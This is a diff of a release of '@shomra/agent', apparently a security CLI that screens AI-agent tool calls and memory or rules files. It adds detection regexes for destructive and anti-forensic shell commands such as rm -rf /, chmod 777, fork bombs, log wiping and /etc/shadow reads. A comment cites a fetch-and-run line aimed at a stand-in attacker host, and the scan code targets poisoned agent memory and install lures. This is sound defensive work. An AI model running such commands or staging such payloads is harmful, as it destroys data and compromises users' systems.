@shomra/agent 0.3.14 → 0.3.16

package/guard-signals.mjs

@@ -72,6 +72,21 @@ export const DANGEROUS_SHELL = [
   { name: 'Command output piped into a network call', re: /\b(curl|wget|invoke-restmethod|invoke-webrequest|irm|iwr)\b[^\n]{0,220}(\$\(|`[^`\n]+`|<\()/i, severity: 'HIGH' },
   { name: 'Fetches from a raw IP address', re: /\b(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,220}https?:\/\/\d{1,3}(\.\d{1,3}){3}/i, severity: 'HIGH' },
   { name: 'Writes to shell profile / SSH keys / crontab', re: /(\.bashrc|\.zshrc|\.bash_profile|\.profile|authorized_keys|id_rsa\b|\bcrontab\b)/i, severity: 'HIGH' },
+  // World-writable permissions. Byte-identical to the backend rules
+  // (bundle/signals.ts) so the offline floor and the server never disagree:
+  // `chmod` previously had no command-level rule in EITHER, so `chmod -R 777 /`
+  // and `chmod 777 ~/.ssh` passed unscreened. The mode must grant WRITE to
+  // others, so `chmod +x` / 755 / 644 stay silent.
+  {
+    name: 'World-writable permissions on the filesystem root (chmod -R 777 /)',
+    re: /\bchmod\b(?=[^\n;|&]*(?:-[a-zA-Z]*R|--recursive))(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*\s\/(?:\s|\*|$))/i,
+    severity: 'CRITICAL',
+  },
+  {
+    name: 'World-writable permissions on a credential or system path (chmod 777)',
+    re: /\bchmod\b(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*(?:~(?:\s|$|\/\.)|\$HOME\b|\/etc\b|\/root\b|\/usr\b|\/var\b|\/boot\b|\.ssh\b|id_rsa\b|authorized_keys\b|\.aws\b|\.gnupg\b|\.kube\b))/i,
+    severity: 'HIGH',
+  },
   { name: 'Recursive force delete (rm -rf)', re: /\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i, severity: 'HIGH', refine: rmTargetsRealData },
   // BARE `eval(`/`exec(` only — the lookbehind drops anything that merely ENDS in
   // those letters: method calls (`db.exec(`, `RE.exec(`, `page.$eval(`, `$pdo->exec(`)
@@ -84,6 +99,33 @@ export const DANGEROUS_SHELL = [
   { name: 'python -c one-liner', re: /python[0-9.]*\s+-c\b/i, severity: 'MEDIUM' },
   { name: 'node -e one-liner', re: /\bnode\s+-e\b/i, severity: 'MEDIUM' },
   { name: 'Netcat / socket exfil', re: /\bnc\s+-[a-z]*\b|\bncat\b/i, severity: 'MEDIUM' },
+  // ⚠ ANTI-FORENSICS + DESTRUCTIVE INFRA — ported byte-identical from the backend
+  // (bundle/signals.ts). These eight had NO mirror counterpart, so the offline
+  // floor was silent on log-wiping, history-clearing, `terraform destroy
+  // -auto-approve`, bucket deletion and force-push over main. That is the
+  // "mirror LOOSER than server" direction: a hole in exactly the conditions
+  // Tier-0 exists for — backend unreachable, unenrolled, network blocked — which
+  // is also when an attacker most wants the audit trail gone. The parity bench
+  // now asserts SET COMPLETENESS, not just agreement on its samples.
+  { name: 'Clears recorded shell history (anti-forensics)', re: /\bhistory\s+-c\b|\brm\b[^\n]{0,30}\.(bash|zsh|sh)_history\b|>\s*\S{0,30}\.(bash|zsh|sh)_history\b/i, severity: 'MEDIUM' },
+  { name: 'Suppresses shell-history recording (anti-forensics)', re: /\bln\s+-s\S*\s+\/dev\/null\s+\S{0,40}\.(bash_|zsh_|sh_)?history\b|\bHISTFILE=\/dev\/null\b|\bunset\s+HISTFILE\b|\bexport\s+HIST(SIZE|FILESIZE)=0\b|\bset\s+\+o\s+history\b/i, severity: 'MEDIUM' },
+  { name: 'Truncates a security / audit log (anti-forensics)', re: />\s*(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
+  { name: 'Vacuums the systemd journal to erase records (anti-forensics)', re: /\bjournalctl\b[^\n]{0,40}--vacuum-(time|size)=/i, severity: 'MEDIUM' },
+  { name: 'Wipes audit / security / login logs (anti-forensics)', re: /\b(rm|shred|unlink|truncate)\b[^\n]{0,60}(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages|faillog|tallylog)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
+  { name: 'Destroys managed infrastructure without confirmation (terraform destroy -auto-approve)', re: /\bterraform\b[^\n]{0,120}\bdestroy\b[^\n]{0,120}(-auto-approve|--auto-approve)/i, severity: 'HIGH' },
+  { name: 'Force-deletes a cloud storage bucket (aws s3 rb --force)', re: /\b(aws\s+s3\s+rb|gsutil\s+(rm\s+-r|rb)|az\s+storage\s+(account|container)\s+delete)\b[^\n]{0,80}(--force|--yes|-f\b|\bs3:\/\/|\bgs:\/\/)/i, severity: 'HIGH' },
+  { name: 'Force-pushes over a protected branch (rewrites shared history)', re: /\bgit\s+push\b[^\n]{0,80}(--force\b(?!-with-lease)|(?:^|\s)-f\b)[^\n]{0,60}\b(main|master|release|prod(uction)?)\b/i, severity: 'MEDIUM' },
+  // Destruction + credential + control-plane detectors, also byte-identical.
+  // ⚠ The root-wipe tier is CRITICAL and must be its own rule: the consolidated
+  // `rm -rf` rule below grades HIGH, and HIGH only flags where CRITICAL blocks —
+  // so `rm -rf /` was screened one severity short of a block offline.
+  { name: 'Recursive force delete of the filesystem root (rm -rf /, --no-preserve-root)', re: /\brm\b(?=[^\n;|&]*(?:-[a-zA-Z]*r|--recursive))(?=[^\n;|&]*(?:-[a-zA-Z]*f|--force))(?=[^\n;|&]*(?:--no-preserve-root|\s\/(?:\s|\*|$)))/i, severity: 'CRITICAL' },
+  { name: 'Fork bomb (process-exhaustion DoS)', re: /(:|\b[a-z_][a-z0-9_]*)\s*\(\s*\)\s*\{\s*\1\s*[^\n}]*\|\s*\1[^\n}]*&\s*\}\s*;\s*\1/i, severity: 'HIGH' },
+  { name: 'Writes over a raw disk device (data destruction)', re: /\b(dd\b[^\n]{0,80}\bof=\/dev\/[sh]d|mkfs(\.\w+)?\s+[^\n]{0,40}\/dev\/|>\s*\/dev\/[sh]d[a-z])/i, severity: 'CRITICAL' },
+  { name: 'Reads the system password-hash / sudo policy file', re: /\b(cat|less|more|head|tail|strings|xxd|od|grep|awk|sed|cp|scp|tar)\b[^\n]{0,80}\/etc\/(shadow|gshadow|sudoers(\.d)?)\b/i, severity: 'HIGH' },
+  { name: 'Deletes a Kubernetes namespace / workload', re: /\bkubectl\b[^\n]{0,80}\bdelete\b[^\n]{0,80}\b(namespace|ns|deployment|statefulset|pvc|persistentvolumeclaim)\b/i, severity: 'MEDIUM' },
+  { name: 'Drops a database / schema', re: /\bdrop\s+(database|schema|table)\b/i, severity: 'MEDIUM' },
+  { name: 'Disables the audit / logging subsystem', re: /\b(systemctl|service)\s+(stop|disable|mask)\s+\S{0,20}(auditd|rsyslog|syslog|systemd-journald|journald)\b|\bauditctl\s+(-e\s*0|-D)\b|\bsetenforce\s+0\b|\bsystemctl\s+(stop|disable|mask)\s+firewalld\b/i, severity: 'HIGH' },
 ];
 
 // ── injection ──
@@ -810,6 +852,49 @@ function isDescriptiveLine(line) {
   return DESCRIPTIVE_MARKERS.test(line) && !IMPERATIVE.test(line);
 }
 
+// ── documentation guard ──
+// Mirrors backend checks/prose-context.ts#isDocumentationLine. ⚠ The backend has
+// applied this to its shell scan for months and the mirror never did, so the
+// OFFLINE floor was STRICTER than the server — the asymmetric drift direction
+// local-mirror-bench exists to catch, and the one with no recourse: a security-
+// conscious CLAUDE.md that merely CITES `curl … | sh` was blocked at CRITICAL on
+// the developer's machine, with "treat the writer as untrusted".
+const ELLIPSIS_RE = /…|\.\.\./;
+const REGEX_PATTERN_RE = /\\[sdwbSDWB]|\\\+|\\\*|\\\(|\\\||\(\?:|\.\*|\.\+/;
+const CREDENTIAL_PATH_RE =
+  /~\/\.(ssh|aws|kube|gnupg|docker|npmrc?)\b|\bid_(rsa|ed25519|dsa)\b|\.pem\b|\bcredentials\b\s*(file)?|\bAWS_SECRET|\bANTHROPIC_API_KEY\b|\bOPENAI_API_KEY\b/i;
+// ⚠ The line between a citation and a payload: `curl … | sh` NAMES the shape,
+// `curl -fsSL https://evil.tld/i.sh | bash` PERFORMS it. Backticks and
+// documentary wording are both free for an attacker to add, so neither may ever
+// suppress a composition carrying a live target.
+const EXECUTABLE_FETCH_RE =
+  /\b(?:curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,200}?(?:https?:\/\/|\bwww\.|\b\d{1,3}(?:\.\d{1,3}){3}\b)[^\n]{0,200}?\|\s*(?:sudo\s+)?(?:(?:ba|z|k|da)?sh|python\d?|perl|ruby|node)\b/i;
+
+function carriesHardEvidence(line) {
+  return CREDENTIAL_PATH_RE.test(line) || EXECUTABLE_FETCH_RE.test(line) || !!egressHost(line);
+}
+
+/** True when this line is prose ABOUT a command rather than a command. */
+export function isDocumentationLine(line) {
+  if (!line) return false;
+  if (carriesHardEvidence(line)) return false;
+  if (ELLIPSIS_RE.test(line) || REGEX_PATTERN_RE.test(line)) return true;
+  return isDescriptiveLine(line);
+}
+
+/** The first line a signal matches that is NOT documentation, else null. */
+function offendingLine(sig, text) {
+  const g = new RegExp(sig.re.source, sig.re.flags.includes('g') ? sig.re.flags : sig.re.flags + 'g');
+  for (const m of text.matchAll(g)) {
+    if (m.index == null) continue;
+    const line = lineTextAt(text, m.index);
+    if (sig.refine && !sig.refine(line)) continue;
+    if (isDocumentationLine(line)) continue;
+    return line;
+  }
+  return null;
+}
+
 /**
  * The first line matching `re` that is a genuine directive — NOT a negated
  * hardening rule ("never bypass safety") and NOT descriptive documentation
@@ -1014,7 +1099,14 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
 
   // Executable payload / egress sink / lifecycle-hook references have no business
   // in a note or rules file.
-  for (const sig of DANGEROUS_SHELL) if (matchesShellSignal(sig, text)) { push(sig.severity === 'MEDIUM' || sig.severity === 'LOW' ? 'HIGH' : 'CRITICAL', `Executable payload staged in ${noun}: ${sig.name}`, `Delete the command from the ${noun}; treat the writer as untrusted.`, sig.re); break; }
+  // ⚠ Documentation-guarded, like the backend. A rules file DESCRIBING a payload
+  // is not staging one.
+  for (const sig of DANGEROUS_SHELL) {
+    const line = offendingLine(sig, text);
+    if (!line) continue;
+    push(sig.severity === 'MEDIUM' || sig.severity === 'LOW' ? 'HIGH' : 'CRITICAL', `Executable payload staged in ${noun}: ${sig.name}`, `Delete the command from the ${noun}; treat the writer as untrusted.`, line);
+    break;
+  }
   const host = egressHost(text);
   if (host) push('HIGH', `${isInstruction ? 'Rules file' : 'Memory'} references a data-exfiltration host (${host})`, 'Remove the reference and roll back to the approved baseline.', host);
   // Toxic flow: an IMPERATIVE line that names BOTH sensitive data and a network
@@ -1029,7 +1121,10 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
   if (toxicFlowLine) {
     push('HIGH', `Toxic instruction in ${noun}: reads sensitive data + reaches the network`, 'Remove the entry; gate any network step behind explicit approval and an egress allow-list.', toxicFlowLine);
   }
-  if (LIFECYCLE_VECTOR.test(text)) push('MEDIUM', `${isInstruction ? 'Rules file' : 'Memory'} references a package-lifecycle hook (MemoryTrap vector)`, 'Verify no dependency writes to this store during install; pin dependencies and audit lifecycle scripts.', LIFECYCLE_VECTOR);
+  // Per-line + documentation-guarded: "regenerated on `postinstall`/`build`" in a
+  // build-notes paragraph is prose about the toolchain, not a MemoryTrap.
+  const lifecycleLine = text.split(/\r?\n/).find((l) => LIFECYCLE_VECTOR.test(l) && !isDocumentationLine(l));
+  if (lifecycleLine) push('MEDIUM', `${isInstruction ? 'Rules file' : 'Memory'} references a package-lifecycle hook (MemoryTrap vector)`, 'Verify no dependency writes to this store during install; pin dependencies and audit lifecycle scripts.', lifecycleLine);
 
   // Self-reinforcement: the entry arranges its own survival. Graded last and
   // scored highest of the non-override signals, because it is the signal that
@@ -1123,7 +1218,14 @@ export function localGate(content, { kind, path } = {}) {
   }
 
   // Install-lure prose (Skills / commands / rules that coerce a download+run).
-  for (const l of INSTALL_LURE) if (l.re.test(content || '')) { push(l.severity, l.name, 'Do not follow instructions that fetch and run out-of-band binaries.', lineOf(content, l.re)); break; }
+  // Documentation-guarded per line, like the shell scan above: a build-notes
+  // paragraph about re-running a flaky gate is prose, not a lure.
+  for (const l of INSTALL_LURE) {
+    const line = offendingLine(l, content || '');
+    if (!line) continue;
+    push(l.severity, l.name, 'Do not follow instructions that fetch and run out-of-band binaries.', line);
+    break;
+  }
 
   // Over-permissioned tool grants in a Skill / command / subagent.
   if (['skill', 'command', 'subagent', 'auto', undefined].includes(kind)) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@shomra/agent",
-  "version": "0.3.14",
+  "version": "0.3.16",
   "description": "Shomra — adversarial assurance for AI agents, as a local-first CLI. Blocks dangerous tool-calls before they run, attacks your own guardrails to prove they hold, and gates AI artifacts in your editor and CI.",
   "type": "module",
   "bin": {

package/shomra.mjs

@@ -175,12 +175,13 @@ async function api(url, key, route, body, opts = {}) {
   const timer = setTimeout(() => ctrl.abort(), timeoutMs);
   let res;
   try {
+    const method = opts.method ?? 'POST';
     res = await fetch(`${url}${route}`, {
-      method: 'POST',
+      method,
       // Connection: close avoids undici keep-alive sockets lingering after the
       // command finishes (which can crash process.exit on Windows).
       headers: { 'Content-Type': 'application/json', 'X-Shomra-Key': key, Connection: 'close' },
-      body: JSON.stringify(body),
+      ...(method === 'GET' ? {} : { body: JSON.stringify(body) }),
       signal: ctrl.signal,
     });
   } catch (e) {
@@ -219,7 +220,7 @@ const BOOLEAN_FLAGS = new Set([
   'apply', 'dry-run', 'global', 'local', 'trailer', 'evolve', 'report', 'init',
   'no-suppress', 'no-baseline', 'no-policy', 'no-index', 'adaptive',
   'fail-on-regression', 'fail-on-blocked', 'write', 'yes', 'stdin', 'quiet', 'help',
-  'check', 'checklist', 'pre-receive', 'uninstall', 'save',
+  'check', 'checklist', 'pre-receive', 'uninstall', 'save', 'list',
 ]);
 // Flags that take a value (`--key value` or `--key=value`).
 const VALUE_FLAGS = new Set([
@@ -232,8 +233,23 @@ const VALUE_FLAGS = new Set([
   'fail-on',
   // `shomra design --save --subject KIND:id` — pin the analysis to a subject.
   'subject', 'title', 'note', 'actor',
+  // `shomra run <playbook> --input key=value` — repeatable, see REPEATABLE_FLAGS.
+  'input',
 ]);
 const KNOWN_FLAGS = new Set([...BOOLEAN_FLAGS, ...VALUE_FLAGS]);
+// ⚠ Flags that ACCUMULATE instead of overwriting. Everything else keeps the
+// last value; a playbook takes several inputs, and silently dropping all but
+// the last one would run it on defaults nobody asked for.
+const REPEATABLE_FLAGS = new Set(['input']);
+
+function setFlag(flags, name, value) {
+  if (!REPEATABLE_FLAGS.has(name)) {
+    flags[name] = value;
+    return;
+  }
+  const prev = flags[name];
+  flags[name] = prev === undefined ? value : [].concat(prev, value);
+}
 
 function parseFlags(argv) {
   const flags = {};
@@ -249,7 +265,7 @@ function parseFlags(argv) {
       if (eq !== -1) {
         const name = body.slice(0, eq);
         if (!KNOWN_FLAGS.has(name)) unknown.push(name);
-        flags[name] = body.slice(eq + 1);
+        setFlag(flags, name, body.slice(eq + 1));
         continue;
       }
       if (!KNOWN_FLAGS.has(body)) {
@@ -263,7 +279,7 @@ function parseFlags(argv) {
       }
       const next = argv[i + 1];
       if (next !== undefined && !next.startsWith('--')) {
-        flags[body] = next;
+        setFlag(flags, body, next);
         i++;
       } else flags[body] = true;
     } else positional.push(a);
@@ -2730,6 +2746,114 @@ async function cmdMemoryScan(flags, positional) {
 // `--min <resilience>` and/or `--fail-on-regression`. Exit: 0 = pass,
 // 2 = below the resilience floor or a regression appeared.
 
+// ── playbooks: the whole assurance loop as ONE command ────────────────────
+//
+// `pre-release` and `agent-release-check` were written to be run by a pipeline
+// and had no client — the backend has carried an API-key controller for exactly
+// this since the engine shipped. Exit code is the product: a failed `gate` step
+// comes back FAILED, and that is the assertion holding, not a broken run.
+
+const STEP_MARK = { SUCCESS: () => green('✓'), FAILED: () => red('✗'), SKIPPED: () => dim('–'), RUNNING: () => cyan('•'), PENDING: () => dim('·') };
+
+async function cmdRun(flags, positional) {
+  const id = positional[0];
+
+  /**
+   * ⚠ USAGE BEFORE ENROLMENT. A malformed `--input` is a typo the caller can
+   * fix without a key, and answering it with "not configured" sends them to
+   * the wrong problem.
+   *
+   * --input k=v, repeatable. Numbers and booleans keep their type, because a
+   * threshold arriving as "80" is not the same argument.
+   */
+  const inputs = {};
+  for (const raw of [].concat(flags.input ?? [])) {
+    const eq = String(raw).indexOf('=');
+    if (eq < 0) {
+      console.error(`  ${red('✗')} --input expects key=value (got ${JSON.stringify(raw)})\n`);
+      process.exit(EXIT_USAGE);
+    }
+    const k = String(raw).slice(0, eq).trim();
+    const v = String(raw).slice(eq + 1);
+    inputs[k] = v === 'true' ? true : v === 'false' ? false : /^-?\d+(\.\d+)?$/.test(v) ? Number(v) : v;
+  }
+
+  const cfg = loadConfig();
+  const { apiKey, url } = resolveSettings(cfg);
+  if (!apiKey) exitNotConfigured();
+
+  if (!id || flags.list) {
+    let catalog;
+    try {
+      catalog = await api(url, apiKey, '/playbooks/agent/catalog', null, { method: 'GET' });
+    } catch (e) {
+      console.error(`  ${red('✗')} ${e.message}\n`);
+      process.exit(1);
+    }
+    if (flags.json) {
+      console.log(JSON.stringify(catalog, null, 2));
+      return;
+    }
+    console.log(`\n  ${bold('Playbooks')} ${dim('— run one end-to-end, exit non-zero when a gate holds')}\n`);
+    for (const p of catalog) {
+      console.log(`  ${cyan(p.id)} ${dim(`v${p.version} · ${p.steps.length} steps`)}`);
+      console.log(`    ${p.name}`);
+      const required = Object.entries(p.inputs || {}).filter(([, d]) => d.required).map(([k]) => k);
+      if (required.length) console.log(`    ${dim('needs')} ${required.map((k) => bold(k)).join(', ')}`);
+      console.log('');
+    }
+    console.log(dim(`  Run one:  ${bold('shomra run <id> --input key=value')}\n`));
+    if (!id) process.exitCode = EXIT_USAGE;
+    return;
+  }
+
+  if (!flags.json) process.stdout.write(dim(`\n  Running ${bold(id)}… `));
+  let run;
+  try {
+    run = await api(url, apiKey, `/playbooks/agent/${encodeURIComponent(id)}/run`, {
+      inputs,
+      ...(flags.project ? { projectId: String(flags.project) } : {}),
+      actor: `${os.hostname()}/${os.userInfo().username}`,
+    });
+  } catch (e) {
+    if (!flags.json) console.log(red('failed'));
+    console.error(`  ${red('✗')} ${e.message}\n`);
+    process.exit(1);
+  }
+  if (!flags.json) console.log(green('done'));
+
+  if (flags.json) {
+    console.log(JSON.stringify(run, null, 2));
+  } else {
+    console.log(`\n  ${bold(run.playbookName)} ${dim(`· ${run.playbookId}`)}\n`);
+    for (const s of run.steps || []) {
+      const mark = (STEP_MARK[s.status] || STEP_MARK.PENDING)();
+      // ⚠ SKIPPED is stated as its own thing. A step whose condition was false
+      // did not run, and printing it as a pass claims work nothing did.
+      const note =
+        s.status === 'SKIPPED'
+          ? dim('skipped — its condition was false')
+          : s.error
+            ? (s.uses === 'gate' ? yellow(s.error) : red(s.error))
+            : '';
+      console.log(`  ${mark} ${s.name}${note ? ' ' + dim('·') + ' ' + note : ''}`);
+    }
+    const failedStep = (run.steps || []).find((s) => s.status === 'FAILED');
+    const gateHeld = run.status === 'FAILED' && failedStep?.uses === 'gate';
+    console.log('');
+    if (run.status === 'FAILED' && gateHeld) {
+      console.log(`  ${yellow('⚠')} ${bold('The gate held.')} ${dim('That is the assertion firing — exiting non-zero.')}\n`);
+    } else if (run.status === 'FAILED') {
+      console.log(`  ${red('✗')} ${bold('A step failed.')} ${dim(run.error || '')}\n`);
+    } else {
+      console.log(`  ${green('✓')} ${bold('Completed.')} ${dim('Every step that was meant to run did.')}\n`);
+    }
+  }
+
+  // The exit code IS the feature: a pipeline gates on this.
+  if (run.status === 'FAILED') process.exitCode = 1;
+}
+
 async function cmdRedteam(flags) {
   const cfg = loadConfig();
   const { apiKey, url } = resolveSettings(cfg);
@@ -6652,6 +6776,9 @@ ${bold('COMMANDS')}
   ${cyan('scan')}          Discover AI tooling on this machine    ${dim('[--report] [--json] [--path <dir>]')}
   ${cyan('report')}        Discover + send inventory to your Shomra org ${dim('(alias: scan --report) [--json]')}
   ${cyan('status')}        Show config, enrollment + firewall health
+  ${cyan('run')}           ${bold('Run a whole assurance playbook')} ${dim('<id> [--input k=v]… [--project <id>] [--json]  ·  --list for the catalog')}
+                ${dim('scan → red-team → harden → compliance → gate, as one command. Exits')}
+                ${dim('non-zero when a gate holds, so a pipeline can block the release.')}
 
   ${dim('Setup — run once per machine / repo')}
   ${cyan('init')}          Configure + enroll this machine       ${dim('--key shm_live_… [--url <backend>]')}
@@ -6900,6 +7027,7 @@ const COMMANDS = {
   scan: (f) => cmdScan(f),
   report: (f) => cmdScan({ ...f, report: true }),
   gate: (f, p) => cmdGate(f, p),
+  run: (f, p) => cmdRun(f, p),
   check: (f, p) => cmdCheck(f, p),
   pr: (f, p) => cmdPr(f, p),
   baseline: (f, p) => cmdBaseline(f, p),